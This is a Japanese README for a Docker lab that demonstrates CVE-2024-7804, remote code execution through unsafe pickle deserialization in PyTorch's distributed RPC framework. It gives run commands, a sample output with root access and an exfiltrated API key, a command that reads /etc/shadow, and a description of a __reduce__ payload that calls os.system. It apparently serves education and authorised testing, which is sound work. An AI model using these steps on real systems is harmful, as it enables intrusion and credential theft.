
自己完結型ラボ+CVE-2024-7804のエクスプロイト:PyTorchの分散RPCフレームワーク(torch.distributed.rpc)における、信頼できないデータの安全でない逆シリアル化(CWE-502)によるリモートコード実行。
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()注:このアドバイザリは後にメンテナおよびRed Hatによって「既知の機能」として撤回/却下されました — PyTorch RPCは設計上信頼できるピアシステムです。このラボは、報告された問題の正確で実践的なデモンストレーションとして引き続き有効です。
すべてのRPC呼び出しはPythonUDF namedtuple(func、args、)を送信します。受信ノードでは、許可リストも整合性チェックもない**素の**で再構築されます:
kwargspickle.Unpickler# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- 攻撃者が制御するpickle
...
RPC「ワールド」に参加できるピアは、ノードに任意のコードを実行させることができます — load()の最中に発火するpickle __reduce__ガジェットを使用するか、ノードが実行する内容を制限するものがないため、単にインポート可能な呼び出し可能オブジェクトをUDFとして指定するだけでも可能です。
CVE-2024-7804/
├── docker-compose.yml # 被害者+攻撃者を1つのブリッジネットワーク上に配置
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — 脆弱なイメージ
│ └── server.py # 被害者:ピアを待つ信頼するRPCワーカー
└── exploit/
└── exploit.py # 攻撃者:ワールドに参加し被害者にRCEを仕掛ける
Composeプラグインを備えたDocker。CPUのみ(GPU不要)、amd64およびarm64で動作します。
# 1. 脆弱な被害者ノードを起動(rank 0、ピアを待機)
docker compose up --build -d victim
# 2. エクスプロイトを実行(デフォルト:被害者上でコマンドを実行し、そのstdoutを取得)
docker compose run --rm attacker
# 3. すべてを破棄
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
攻撃者は被害者上でrootとしてコマンドを実行し、公開されるはずのなかったファイルを外部に持ち出しました。
| コマンド | 内容 |
|---|---|
docker compose run --rm attacker | subprocess.check_outputをUDFとして送信。被害者はコマンドを実行し、そのstdoutを返します — RCEおよびデータ流出を1回の呼び出しで実現。 |
docker compose run --rm attacker python exploit.py --reduce | __reduce__がos.systemを実行するオブジェクトを送信 — 被害者がペイロードをアンピックルしている間に実行されます — 逆シリアル化時点でのRCE(CWE-502の本質)、UDFが呼び出される前です。 |
カスタムコマンド:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
--reduceの場合、コマンドは被害者上で実行されるため、そこで確認してください:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # 出力は被害者のログに表示されます
--reduceの被害者ログは、torch/distributed/rpc/internal.pyの約207行目(python_udf.func(...))でトレースバックで終了します — ペイロードが安全でないアンピックラーによってすでに再構築され実行された証拠です。
29500)を信頼できないネットワークに公開しないでください。教育および許可されたセキュリティテスト専用です。このラボは意図的に脆弱です — デプロイしないでください。また、このラボに対してのみエクスプロイトを実行してください。